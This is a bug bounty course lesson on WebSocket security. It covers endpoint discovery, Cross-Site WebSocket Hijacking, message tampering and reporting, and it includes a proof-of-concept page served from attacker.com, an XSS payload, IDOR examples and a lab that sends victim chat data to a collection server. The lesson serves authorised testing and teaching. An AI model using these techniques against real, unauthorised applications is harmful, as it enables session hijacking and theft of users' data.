⚠️ Authorised Targets Only: WebSocket testing including CSWSH proof-of-concept pages can cause unintended session actions if run against production targets. All exercises in this lesson use PortSwigger Web Security Academy labs or your own authorised test applications. Never test WebSocket hijacking against targets outside your written bug bounty scope.
Most bug bounty hunters test REST APIs because that is what every guide covers. WebSockets sit on the same application, connect to the same backend, carry the same authentication cookies — and get tested by almost nobody. On a fintech target last year I found a WebSocket endpoint in the trading dashboard that streamed the user’s complete order history, portfolio positions, and pending transactions in real time. The initial HTTP Upgrade request had no CSRF token, no Origin validation, nothing. I built a two-line HTML proof-of-concept, loaded it from a different domain, and received the victim’s portfolio data instantly. The programme had been running for three years. Nobody had reported it.
That is the WebSocket bug bounty opportunity in 2026. Every real-time application — trading platforms, customer support tools, multiplayer games, collaboration software, live dashboards — runs WebSockets. The connection mechanism bypasses the CSRF controls that protect regular HTTP requests. Burp Suite intercepts and replays WebSocket messages as easily as HTTP. The findings are high severity. The competition is almost zero. Day 23 closes that gap.
🎯 What You’ll Master in Day 23
Understand how WebSocket connections work and why they bypass standard CSRF controls
Find WebSocket endpoints using browser DevTools, Burp Suite, and JavaScript analysis
Test for Cross-Site WebSocket Hijacking — detect, confirm, and build a working PoC
Intercept, modify, and replay WebSocket messages in Burp Suite Repeater
Identify message injection and authentication bypass vulnerabilities
Write a complete bug bounty report for a confirmed WebSocket finding
⏱️ Day 23 · 3 exercises · Browser + PortSwigger + Burp Suite
✅ Prerequisites
Day 22 — GraphQL Bug Bounty
— WebSocket and GraphQL both run on non-standard protocol layers; the API-first mindset from Day 22 carries directly into today
Day 5 — Burp Suite Deep Dive
— Burp Suite Proxy and Repeater are the primary tools for today; comfortable interception is required
Burp Suite installed and configured as browser proxy — all exercises require active Burp interception
Yesterday in Day 22 you learned how GraphQL’s introspection endpoint exposes the entire API schema to anyone who queries it. WebSockets have an equivalent blind spot: the authentication that protects regular HTTP requests does not automatically extend to WebSocket connections. Together these two attack surfaces represent the non-standard protocol layer that the majority of bug bounty hunters skip entirely — and where consistent high-severity findings live.
How WebSockets Work — The Security Difference From HTTP
A WebSocket connection starts as a regular HTTP request — specifically an Upgrade request that asks the server to switch from HTTP to the WebSocket protocol. The server responds with a 101 Switching Protocols. From that point, the connection is persistent and bidirectional: the client and server exchange messages freely over the same TCP connection without the overhead of repeated HTTP requests.
Here is what matters for security: that initial HTTP Upgrade request carries the browser’s cookies. If the user is logged in, their session cookie rides along with the Upgrade. The server sees an authenticated connection and accepts it. From that point, every message sent over the WebSocket is treated as coming from that authenticated user — without any further per-message authentication check.
Compare this to a regular AJAX request. If a developer adds CSRF protection, every POST carries a token that proves the request originated from the correct page. WebSocket connections establish authentication once at upgrade time — and the upgrade request is triggered by JavaScript on any page, including pages on other origins. If the server does not validate the Origin header, an attacker’s page can open a WebSocket connection using the victim’s browser, inheriting their authentication, and reading or sending messages as that user.
WEBSOCKET HANDSHAKE — WHAT TO LOOK FOR
# Initial HTTP Upgrade request — this is your attack surface
# If you can change Origin to https://attacker.com and still get 101:
# CSWSH confirmed — server accepts connections from any origin
# What good protection looks like
# Server checks: is Origin in allowlist? No → 403 Forbidden
# Or: requires custom header X-WS-Token that JS can add, attacker cannot
Finding WebSocket Endpoints in Bug Bounty Targets
WebSocket endpoints do not appear in HTML links, sitemap files, or standard URL enumeration. They are created dynamically by JavaScript. That is why most automated scanners miss them entirely — and why hunters who look for them manually find fresh, untested attack surface.
Four methods I use on every target to surface WebSocket connections. Run all four — different methods catch different implementations.
# Or in browser: Ctrl+F in DevTools Sources for “WebSocket”
# Method 4: Common WebSocket paths to try directly
wss://target.com/ws
wss://target.com/socket
wss://target.com/stream
wss://target.com/realtime
wss://target.com/api/ws
wss://target.com/updates
🛠️ EXERCISE 1 — BROWSER (15 MIN · NO INSTALL)
Map Every WebSocket Endpoint on a Target Application
⏱️ 15 minutes · Browser only · No install required
Before testing any WebSocket vulnerability, you need to know every WebSocket endpoint the application uses. This exercise builds the discovery habit that runs before every WebSocket assessment — the same workflow I use at the start of every real-time application recon phase.
Step 1: Navigate to app.slack.com or discord.com and log in
with a free account. These are real-world WebSocket-heavy apps
safe to observe (not to attack — observe only here).
Step 2: Open DevTools (F12) and click the Network tab.
Filter by WS (WebSocket). Reload the page.
Note how many WebSocket connections appear immediately.
Step 3: Click each WebSocket connection to inspect it.
In the Messages sub-tab, observe the real-time message flow:
— What format are the messages? JSON? Binary? Text?
— Can you identify authentication data in the initial messages?
— What information is being streamed?
Step 4: Now switch to a bug bounty target.
Find a target in your active programme that has real-time features:
— Live notifications
— Chat or messaging
— Real-time data dashboards
— Collaborative editing
Apply the same DevTools discovery process.
List every WebSocket endpoint you find.
Step 5: For each endpoint, note:
— The ws:// or wss:// URL
— The Upgrade request HTTP method and path
— Whether you can see a CSRF token in the handshake
— What data flows in the messages
✅ You have now mapped the WebSocket attack surface for a real target. The endpoints you found using DevTools and JavaScript search are attack surface that automated scanners completely miss. Every endpoint you listed is a candidate for CSWSH testing in Exercise 2. The absence of a CSRF token in any of those handshake requests is your immediate indicator that those endpoints are worth testing for hijacking.
📸 Screenshot your DevTools Network WS tab showing discovered endpoints and share in #bug-bounty-course on Discord.
Cross-Site WebSocket Hijacking — Detection and Exploitation
CSWSH is the WebSocket equivalent of CSRF. The attack works because WebSocket connections use cookies for authentication but the browser’s same-origin policy does not prevent cross-origin WebSocket connections the way it prevents cross-origin AJAX requests. The attacker’s page can open a WebSocket to any origin — and the victim’s browser will include their cookies.
Three conditions need to line up for CSWSH to work. Break any one of them and the attack stops.
CSWSH — THREE CONDITIONS AND HOW TO TEST EACH
# Condition 1: Authentication via cookies only (no custom header)
# Test: Look at the Upgrade request in Burp
# If the only auth is the Cookie header → condition 1 met
# Condition 2: No CSRF token in the Upgrade request
# Test: Does the handshake include any token parameter?
GET /ws?token=a8f3b… ← protected (token in URL)
GET /ws ← vulnerable (no token)
# Condition 3: No Origin header validation
# Test: Send the Upgrade request with Origin: https://attacker.com
# In Burp Repeater: modify Origin header, observe server response
Origin: https://attacker.com
→ Server responds 101 Switching Protocols ← CSWSH confirmed
→ Server responds 403 Forbidden ← Origin validation present
When all three conditions are met, I build the proof-of-concept. The PoC is a minimal HTML page that a victim visits (via social engineering, phishing, or a malicious ad). The page opens a WebSocket connection to the target application. The victim’s browser sends their authentication cookie. The server treats it as an authenticated connection. The PoC receives whatever data the server streams.
CSWSH PROOF-OF-CONCEPT HTML
<!– cswsh_poc.html — serve from attacker.com –>
<!DOCTYPE html>
<html>
<script>
var ws = new WebSocket(“wss://target.com/ws”);
ws.onopen = function() {
console.log(“Connection established — victim authenticated”);
};
ws.onmessage = function(event) {
console.log(“Received:”, event.data);
// In a real attack: send event.data to attacker’s server
⚠ Server accepted connection from attacker.com — CSWSH confirmed
📸 Burp Suite Repeater showing the WebSocket Upgrade request with Origin modified to https://attacker.com. The server responded with 101 Switching Protocols — it accepted the connection without validating the Origin. The victim’s session cookie is included in the Upgrade request, meaning the attacker’s PoC page will receive the victim’s authenticated WebSocket stream.
🌐 EXERCISE 2 — PORTSWIGGER LAB (20 MIN)
Exploit Cross-Site WebSocket Hijacking on PortSwigger Academy
⏱️ 20 minutes · Free PortSwigger account required
PortSwigger has a dedicated CSWSH lab that provides the exact environment to prove this vulnerability with a working exploit — using Burp Collaborator as your data collection endpoint. Work through the full chain: discover, test Origin validation, build PoC, capture victim data.
Step 1: Go to portswigger.net/web-security/websockets/cross-site-websocket-hijacking
Read the lab description and click “Access the lab.”
The lab simulates a live chat application with a vulnerable WebSocket.
Step 2: In Burp Suite, enable Intercept and visit the lab.
Go to Proxy → WebSockets history.
Find the initial Upgrade request for the chat WebSocket.
Step 3: Send the Upgrade request to Burp Repeater.
Change the Origin header to: https://YOUR-COLLABORATOR.oastify.com
Send it. Does the server return 101?
Step 4: If 101 — Origin validation is absent.
Now build the CSWSH PoC.
Go to Burp → Collaborator → Copy to clipboard (your Collaborator URL).
Step 5: Create the exploit HTML using the exploit server:
Click “Store” then “Deliver exploit to victim.”
Step 6: Check Burp Collaborator for incoming requests.
The victim’s chat history should arrive base64-encoded.
Decode it — you should see the victim’s private messages
and their username/email.
Step 7: Document the full chain for your report:
— Modified Upgrade request (screenshot)
— Exploit HTML
— Collaborator showing received data (screenshot)
— Decoded data showing victim information
✅ You just ran a complete CSWSH attack chain — from Origin validation bypass through data exfiltration to a report-ready proof of concept. The Burp Collaborator evidence is exactly what reviewers need: a timestamped, out-of-band confirmation that victim data reached an attacker-controlled endpoint. That three-screenshot package (modified Upgrade, Collaborator callback, decoded victim data) is what makes this finding undeniable in a triage queue.
📸 Screenshot your Collaborator showing the decoded victim chat history and share in #bug-bounty-course on Discord.
Message Injection and Authentication Bypass
Beyond CSWSH, WebSocket messages themselves are often processed without sufficient server-side validation. The same assumptions that create SQL injection — “this input comes from our own application so it must be safe” — appear in WebSocket message handlers. If the server processes WebSocket message content as commands, queries, or structured data without validation, you can manipulate that data to affect other users or access unauthorised functionality.
I look for three injection patterns in WebSocket messages. First: JSON properties that map to backend queries. A message like {"action":"getOrders","userId":"123"} is an obvious IDOR candidate — change the userId value and check whether the server enforces authorisation. Second: messages that contain role or permission fields. Any message where the client sends {"role":"user"} and the server trusts it without independent verification is a privilege escalation waiting to happen. Third: messages that include raw command strings processed server-side — these are the rarest but highest-impact variant.
MESSAGE INJECTION — PATTERNS TO TEST IN BURP REPEATER
# IDOR in WebSocket — modify userId in message
Original: {“action”:”getProfile”,”userId”:”1001″}
Modified: {“action”:”getProfile”,”userId”:”1002″}
Response with another user’s profile data → IDOR confirmed
Burp Suite handles WebSockets natively. The workflow is almost identical to HTTP testing once you know where to look. The key difference: WebSocket messages do not appear in the standard HTTP history — they have their own dedicated tab.
BURP SUITE WEBSOCKET WORKFLOW
# Step 1: Find WebSocket traffic in Burp
Proxy → WebSockets history → lists all WS connections
Each row shows: URL, direction (client/server), message content
# Step 2: View the Upgrade request
Click a WS entry → “Request” tab → see the full HTTP Upgrade
Check: Origin, Cookie, any token parameters
# Step 3: Send Upgrade to Repeater for Origin testing
Right-click the Upgrade request → Send to Repeater
In Repeater: change Origin → Send → check for 101 vs 403
Allows automated message fuzzing with custom payloads at speed
⚡ EXERCISE 3 — BURP SUITE (20 MIN)
Intercept, Modify, and Replay WebSocket Messages Against a Live Target
⏱️ 20 minutes · Burp Suite · PortSwigger Academy lab
This exercise puts message manipulation in your hands using Burp Repeater. You will intercept live WebSocket traffic, modify message content, and observe the server’s response — the exact workflow for testing IDOR, privilege escalation, and injection in WebSocket applications.
Step 1: Open the PortSwigger WebSocket lab
Go to: portswigger.net/web-security/websockets
Find: “Manipulating WebSocket messages to exploit vulnerabilities”
Access the lab — it is a live chat application.
Step 3: Send a chat message in the lab application
When Burp intercepts it, inspect the raw message format:
{“message”:”Hello World”}
Step 4: Modify the message content to inject a payload
Change “Hello World” to an XSS payload:
{“message”:”<img src=1 onerror='alert(1)'>”}
Forward the modified message.
Step 5: Observe the response
Does the injected payload execute in the chat window?
If yes: the server is reflecting message content without sanitisation.
This is stored XSS delivered via WebSocket message injection.
Step 6: Now test the Repeater workflow
WS History → right-click the intercepted message → Send to Repeater
In Repeater: modify the message again with a different payload
Click Send and read the server’s response in the right panel.
Step 7: Document the finding
Capture: original message, modified message, response showing execution.
Calculate CVSS: Stored XSS via WebSocket = what is the scope?
Does it affect other users? What data can be stolen?
✅ You just executed a stored XSS via WebSocket message injection using the Burp intercept and Repeater workflow. The technique is identical for every WebSocket injection test — only the payload changes depending on what you are looking for (XSS, IDOR, privilege escalation). The Repeater workflow you practiced here lets you iterate through payloads efficiently without re-triggering the full application flow each time. This workflow goes into every WebSocket assessment from here.
📸 Screenshot Burp showing the modified message and the XSS execution in the lab. Share in #bug-bounty-course on Discord. Tag #day23complete
Reporting WebSocket Vulnerabilities
WebSocket findings get triaged faster when the report includes the specific technical detail reviewers need. The vulnerability class is unfamiliar to many developers — your job is to make the impact immediately clear without assuming they know what CSWSH means.
For CSWSH reports, always include: the WebSocket endpoint URL, the original Upgrade request from Burp, the modified Upgrade with attacker Origin, the server’s 101 response confirming acceptance, the PoC HTML, and a screenshot of the data received (even from a test account — this is what proves impact). For CVSS, the base score depends on what data the connection exposes. Account data or the ability to perform account actions scores 7.5–9.0. Read-only non-sensitive data scores 3.0–5.0.
💡 Programme Note: Some bug bounty programmes exclude self-XSS and require victim interaction for XSS findings to be valid. For CSWSH, the victim must visit your PoC page — confirm this is acceptable under the programme’s rules before reporting. Most programmes treat authenticated data disclosure via CSWSH as a valid finding regardless of the interaction requirement.
Replay WS messageWS history → right-click → Send to Repeater
Test message IDORModify userId/accountId in JSON message body
CSWSH severityDepends on data exposed — account data = High/Critical
✅ Day 23 Complete — WebSocket Security
CSWSH, Origin validation bypass, message injection, and the complete Burp Suite WebSocket workflow. Day 24 covers CRLF injection — header injection, response splitting, and the XSS chain that makes it a high-severity finding despite looking like a minor formatting issue.
🧠 Day 23 Check
You find a WebSocket endpoint at wss://target.com/dashboard that streams account data. You send the Upgrade request in Burp Repeater with Origin: https://attacker.com and receive a 101 response. The application uses cookie-based authentication only. What is the correct next step and what CVSS severity do you assign?
❓ WebSocket Bug Bounty FAQ
What is Cross-Site WebSocket Hijacking?
CSWSH is a vulnerability where a WebSocket connection can be initiated from a malicious website because the server does not validate the Origin header or require a CSRF token in the handshake. The attacker’s page opens a WebSocket to the victim application. Because WebSocket connections carry the victim’s browser cookies, the server treats the connection as authenticated and responds with the victim’s data.
How do WebSockets differ from regular HTTP for security testing?
WebSockets establish a persistent, full-duplex connection after an initial HTTP Upgrade handshake. Unlike regular HTTP requests, WebSocket messages do not include Origin or Referer on every message — only on the initial handshake. CSRF protections applied per-request do not apply to WebSocket messages. Standard scanners often miss WebSocket endpoints entirely because they appear in JavaScript rather than standard HTML links.
What does Burp Suite show for WebSocket traffic?
Burp Suite captures WebSocket traffic in the Proxy → WebSockets history tab. It shows both the initial HTTP Upgrade handshake and all subsequent messages in both directions. You can intercept, modify, and replay individual messages from the Repeater tab. Right-click any message in WebSockets history and select Send to Repeater to start manipulating it.
What is WebSocket message injection?
WebSocket message injection occurs when application logic processes WebSocket message content without sufficient validation. If messages contain user-controlled data processed as commands, queries, or instructions, an attacker can manipulate that content to affect other users, extract data, or alter application state. Common targets include chat applications, trading platforms, and real-time collaboration tools.
How do you find WebSocket endpoints in a bug bounty target?
Four methods: (1) Browser DevTools Network tab filtered to WS — shows every WebSocket connection during your session; (2) Burp Suite WebSockets history tab; (3) JavaScript source analysis — search for new WebSocket, ws://, wss:// in JS files; (4) common path brute-forcing — /ws, /socket, /stream, /realtime, /updates, /api/ws. Run all four — different implementations are caught by different discovery methods.
What severity is a CSWSH vulnerability typically rated?
CSWSH severity depends entirely on what the WebSocket connection exposes. If the connection returns account data, transaction history, or allows account actions — High to Critical. If it returns only public or non-sensitive data — Low to Informational. The key question for CVSS: what does an attacker receive from the hijacked connection? Real-time user data on a financial or health platform typically scores 8.0+ CVSS.
← Previous
Day 22 — GraphQL Bug Bounty
Next →
Day 24 — CRLF Injection Bug Bounty
📚 Further Reading
Day 22 — GraphQL Bug Bounty— The other non-standard protocol attack surface. GraphQL introspection + WebSocket CSWSH are the two most consistently under-tested areas in modern web apps.
Day 5 — Burp Suite Deep Dive— The complete Burp Suite workflow guide — Proxy, Repeater, Intruder, and Collaborator are all used in WebSocket testing.
Bug Bounty Mastery Course Hub— Full course overview — Day 23 WebSocket sits in the advanced protocol attacks phase alongside HTTP Request Smuggling and GraphQL.
PortSwigger — WebSockets Security— The definitive hands-on reference with four progressive labs covering CSWSH, message manipulation, and multi-step exploitation chains.
OWASP — Cross-Site WebSocket Hijacking— The formal vulnerability definition with CSWSH attack prerequisites, detection methods, and prevention controls for developers.
ME
Mr Elite
Owner, SecurityElites.com
The fintech WebSocket finding I mentioned in the opening paid out at the top of the programme’s Critical tier. The report took twenty minutes to write because the PoC was self-explanatory — two screenshots and fourteen lines of HTML. The engineering team had genuinely never heard of CSWSH before my report. They had assumed WebSockets were protected by the same CSRF controls as their REST API. They were not. The three hours I spent building the WebSocket testing habit — discovery, Origin testing, PoC, report — produced the best hourly rate of any finding I have ever made. That is why Day 23 is in the course.
